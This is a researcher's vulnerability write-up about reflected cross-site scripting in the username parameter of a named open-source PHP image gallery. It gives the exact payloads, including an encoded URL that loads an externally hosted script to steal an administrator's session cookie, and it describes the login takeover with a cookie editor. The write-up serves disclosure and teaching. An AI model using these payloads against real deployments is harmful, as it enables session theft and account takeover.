Image_Gallery | view.php?username= | Cross Site Scripting (Reflected XSS) | Found By Maloy Roy Orko

Hi All, 

I am Maloy Roy Orko.

Recently in one of my pentest research, I found an Image_Gallery application By Needyamin which is an open source Image Gallery Management System using PHP, MYSQL, JAVASCRIPT.

It is based on the scripting languages of PHP. Image_Gallery is an Image gallery management system using PHP, MYSQL, JAVASCRIPT

Curious to explore its functionalities, I downloaded and set it up in my local system. 

After fiddling with the source code, I found that it did not have any kind of  Cross Site Scripting protection.

It can lead into Admin Account Takeover and Malicious JavaScript Codes Can Be Executed By Attackers Too.

The Main Thing Is,if any NON-IT personal uses this template,he will fall into this vulnerability and his companies reputation can be lost too.Thats why I am trying to inform everyone about this.

• Title of the Vulnerability:  Image_Gallery | view.php?username= | Cross Site Scripting (Reflected XSS) | Found By Maloy Roy Orko    

• Vulnerability Class:                                  Reflected Cross Site Scripting 

• Product Name: Image_Gallery 

• Vendor: https://github.com/needyamin/

• Vulnerable Product Link: https://github.com/needyamin/image_gallery/

• Technical Details & Description: The application source code is coded in a way which allows Cross Site Scripting.This can lead into Admin Account Takeover and Malicious JavaScript Codes Can Be Executed By Attackers Too by exploiting Cross Site Scripting Vulnerability.

• Product & Service Introduction: Image_Gallery

Observation & Exploitation: 

1. Let's see the source code?  File(view.php) 
   

   
   

   

   
   
   
   
2. You can see that there is no defense or filter against Cross Site Scripting.Normally They are getting Names and then fetching data From Database According to it but even the gallery names doesn't exist! but They are Showing the gallery Names In Output Which Leads To XSS.
3. So Lets See ,How I exploited It? What is the exploitable parameter here?
4. view.php?username=
5. Lets Take That Parameter and then see the exploit use here!But The Most Important Aim Is To Decide That What You Wanna Do Now With Exploits!
6. If you wanna Takeover Admin Then Follow Me!
7. Vulnerable Place :
8. 192.168.0.101:8080/ima/view.php?username=Your+Exploit
9. My Exploit Is: <script>alert(document.cookie);</script>
10. So,Lets see an approach and the result?
11. 
    
    

    
    
    
    
    
12. My Exploit For This Cookie Enumeration Was:
13. http://192.168.0.101:8080/ima/view.php?username=%3Cscript%3Ealert(document.cookie);%3C/script%3E
    
14. Maybe 😏 you are thinking that the cookie is protected by the Httponly Flag ,We can't get into it? 😁
15. You are wrong.
16. I will show you via Xss Report Now.
17. But Lets See An Practical Impact, 😜 huh?

Practical Impact 😉: 

1. We Will Trap Admin By Letting Him Hit Our Exploited URL.When He visits,we will get the cookie 🍪 
2. The Exploit (Admin Takeover) Will Be :
3. http://192.168.0.101:8080/ima/view.php?username=%3Cscript%20src=https://xss.report/c/ovroking%3E%3C/script%3E
4. 
   

   

   
   
   
   
   
   
   
   
5. So,Now we have Everything To Login.Even the admin panel path is also a known one!IT is /admin/
6. So Use Your Cookie Editor And Get Into It.
7. Lets Login .......! 😁 
8. 

   
   

   

   
   
9. Login Successful.
10. Guess What ? 😎😎 We Logged In Successfully. We Can Chain Malicious JavaScript Hooking Codes Too🤝

Video POC for SQL INJECTION to XSS :-  

Conclusion :- 

The main aim of this article is to show that if any NON-IT personal uses this template,he will fall into this vulnerability and his companies reputation can be lost too. But I also hope that it helps to give you ideas of how combining attacks can make them much more potent.